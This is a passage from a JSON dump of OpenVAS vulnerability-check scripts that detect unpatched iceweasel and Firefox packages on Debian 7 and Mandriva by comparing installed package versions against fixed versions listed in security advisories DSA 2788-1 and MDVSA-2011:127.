"2019-03-19T12:39:53", "bulletinFamily": "scanner", "description": "Multiple security issues have been found in iceweasel, Debian", "modified": "2019-03-18T00:00:00", "published": "2013-10-31T00:00:00", "id": "OPENVAS:1361412562310892788", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310892788", "title": "Debian Security Advisory DSA 2788-1 (iceweasel - several vulnerabilities)", "type": "openvas", "sourceData": "# OpenVAS Vulnerability Test\n# $Id: deb_2788.nasl 14276 2019-03-18 14:43:56Z cfischer $\n# Auto-generated from advisory DSA 2788-1 using nvtgen 1.0\n# Script version: 1.0\n#\n# Author:\n# Greenbone Networks\n#\n# Copyright:\n# Copyright (c) 2013 Greenbone Networks GmbH http://greenbone.net\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.892788\");\n script_version(\"$Revision: 14276 $\");\n script_cve_id(\"CVE-2013-5597\", \"CVE-2013-5602\", \"CVE-2013-5595\", \"CVE-2013-5599\", \"CVE-2013-5604\", \"CVE-2013-5590\", \"CVE-2013-5600\", \"CVE-2013-5601\");\n script_name(\"Debian Security Advisory DSA 2788-1 (iceweasel - several vulnerabilities)\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-18 15:43:56 +0100 (Mon, 18 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2013-10-31 00:00:00 +0100 (Thu, 31 Oct 2013)\");\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n\n script_xref(name:\"URL\", value:\"http://www.debian.org/security/2013/dsa-2788.html\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (c) 2013 Greenbone Networks GmbH http://greenbone.net\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\", re:\"ssh/login/release=DEB7\");\n script_tag(name:\"affected\", value:\"iceweasel on Debian Linux\");\n script_tag(name:\"solution\", value:\"For the stable distribution (wheezy), these problems have been fixed in\nversion 17.0.10esr-1~deb7u1.\n\nFor the unstable distribution (sid), these problems will fixed soon.\n\nWe recommend that you upgrade your iceweasel packages.\");\n script_tag(name:\"summary\", value:\"Multiple security issues have been found in iceweasel, Debian's version\nof the Mozilla Firefox web browser: multiple memory safety errors, and\nother implementation errors may lead to the execution of arbitrary\ncode.\n\nThe iceweasel version in the oldstable distribution (squeeze) is no\nlonger supported with security updates.\");\n script_tag(name:\"vuldetect\", value:\"This check tests the installed software version using the apt package manager.\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif((res = isdpkgvuln(pkg:\"iceweasel\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-dbg\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-ach\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-af\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-ak\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-all\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-ar\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-as\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-ast\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-be\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-bg\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-bn-bd\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-bn-in\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-br\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-bs\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-ca\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-cs\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-csb\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-cy\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-da\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-de\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-el\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-en-gb\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-en-za\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-eo\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-es-ar\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-es-cl\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-es-es\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-es-mx\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-et\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-eu\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-fa\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-ff\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-fi\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-fr\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-fy-nl\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-ga-ie\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-gd\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-gl\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-gu-in\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-he\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-hi-in\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-hr\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-hu\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-hy-am\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-id\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-is\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-it\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-ja\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-kk\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-km\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-kn\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-ko\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-ku\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-lg\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-lij\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-lt\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-lv\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-mai\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-mk\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-ml\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-mr\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-nb-no\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-nl\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-nn-no\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-nso\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-or\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-pa-in\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-pl\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-pt-br\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-pt-pt\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-rm\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-ro\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-ru\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-si\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-sk\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-sl\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-son\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-sq\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-sr\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-sv-se\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-ta\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-ta-lk\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-te\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-th\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-tr\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-uk\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-vi\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-zh-cn\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-zh-tw\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"iceweasel-l10n-zu\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"libmozjs-dev\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"libmozjs17d\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"libmozjs17d-dbg\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"spidermonkey-bin\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"xulrunner-17.0\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"xulrunner-17.0-dbg\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"xulrunner-dev\", ver:\"17.0.10esr-1~deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\n\nif(report != \"\") {\n security_message(data:report);\n} else if(__pkg_match) {\n exit(99);\n}", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-03-13T14:27:59", "bulletinFamily": "scanner", "description": "The remote host is missing an update for the ", "modified": "2019-03-12T00:00:00", "published": "2011-08-19T00:00:00", "id": "OPENVAS:1361412562310831444", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310831444", "title": "Mandriva Update for mozilla MDVSA-2011:127 (mozilla)", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Mandriva Update for mozilla MDVSA-2011:127 (mozilla)\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (c) 2011 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_xref(name:\"URL\", value:\"http://lists.mandriva.com/security-announce/2011-08/msg00009.php\");\n script_oid(\"1.3.6.1.4.1.25623.1.0.831444\");\n script_version(\"$Revision: 14114 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-12 12:48:52 +0100 (Tue, 12 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2011-08-19 15:17:22 +0200 (Fri, 19 Aug 2011)\");\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_xref(name:\"MDVSA\", value:\"2011:127\");\n script_cve_id(\"CVE-2011-2982\", \"CVE-2011-0084\", \"CVE-2011-2981\", \"CVE-2011-2378\", \"CVE-2011-2984\", \"CVE-2011-2980\", \"CVE-2011-2983\");\n script_name(\"Mandriva Update for mozilla MDVSA-2011:127 (mozilla)\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'mozilla'\n package(s) announced via the referenced advisory.\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (c) 2011 Greenbone Networks GmbH\");\n script_family(\"Mandrake Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/mandriva_mandrake_linux\", \"ssh/login/release\", re:\"ssh/login/release=MNDK_(mes5|2010\\.1|2009\\.0)\");\n script_tag(name:\"affected\", value:\"mozilla on Mandriva Linux 2009.0,\n Mandriva Linux 2009.0/X86_64,\n Mandriva Linux 2010.1,\n Mandriva Linux 2010.1/X86_64,\n Mandriva Enterprise Server 5,\n Mandriva Enterprise Server 5/X86_64\");\n script_tag(name:\"insight\", value:\"Security issues were identified and fixed in mozilla firefox and\n thunderbird:\n\n Mozilla developers and community members identified and fixed several\n memory safety bugs in the browser engine used in Firefox 3.6 and\n other Mozilla-based products. Some of these bugs showed evidence of\n memory corruption under certain circumstances, and we presume that\n with enough effort at least some of these could be exploited to run\n arbitrary code (CVE-2011-2982).\n\n Security researcher regenrecht reported via TippingPoint's Zero Day\n Initiative that a SVG text manipulation routine contained a dangling\n pointer vulnerability (CVE-2011-0084).\n\n Mozilla security researcher moz_bug_r_a_4 reported a vulnerability in\n event management code that would permit JavaScript to be run in the\n wrong context, including that of a different website or potentially\n in a chrome-privileged context (CVE-2011-2981).\n\n Security researcher regenrecht reported via TippingPoint's Zero Day\n Initiative that appendChild did not correctly account for DOM objects\n it operated upon and could be exploited to dereference an invalid\n pointer (CVE-2011-2378).\n\n Mozilla security researcher moz_bug_r_a4 reported that web content\n could receive chrome privileges if it registered for drop events and a\n browser tab element was dropped into the content area (CVE-2011-2984).\n\n Security researcher Mitja Kolsek of Acros Security reported that\n ThinkPadSensor::Startup could potentially be exploited to load a\n malicious DLL into the running process (CVE-2011-2980).\n\n Security researcher shutdown reported that data from other domains\n could be read when RegExp.input was set (CVE-2011-2983).\n\n Packages for 2009.0 are provided as of the Extended Maintenance\n Program. Additionally, some packages which require so, have been rebuilt and\n are being provided as updates.\");\n script_tag(name:\"solution\", value:\"Please Install the Updated Packages.\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_xref(name:\"URL\", value:\"http://store.mandriva.com/product_info.php?cPath=149&amp;amp;products_id=490\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release) exit(0);\n\nres = \"\";\n\nif(release == \"MNDK_mes5\")\n{\n\n if ((res = isrpmvuln(pkg:\"firefox\", rpm:\"firefox~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-af\", rpm:\"firefox-af~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ar\", rpm:\"firefox-ar~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-be\", rpm:\"firefox-be~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-bg\", rpm:\"firefox-bg~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-bn\", rpm:\"firefox-bn~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ca\", rpm:\"firefox-ca~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-cs\", rpm:\"firefox-cs~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-cy\", rpm:\"firefox-cy~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-da\", rpm:\"firefox-da~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-de\", rpm:\"firefox-de~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-devel\", rpm:\"firefox-devel~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-el\", rpm:\"firefox-el~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-en_GB\", rpm:\"firefox-en_GB~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-eo\", rpm:\"firefox-eo~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-es_AR\", rpm:\"firefox-es_AR~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-es_ES\", rpm:\"firefox-es_ES~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-et\", rpm:\"firefox-et~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-eu\", rpm:\"firefox-eu~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-fi\", rpm:\"firefox-fi~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-fr\", rpm:\"firefox-fr~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-fy\", rpm:\"firefox-fy~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ga_IE\", rpm:\"firefox-ga_IE~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-gl\", 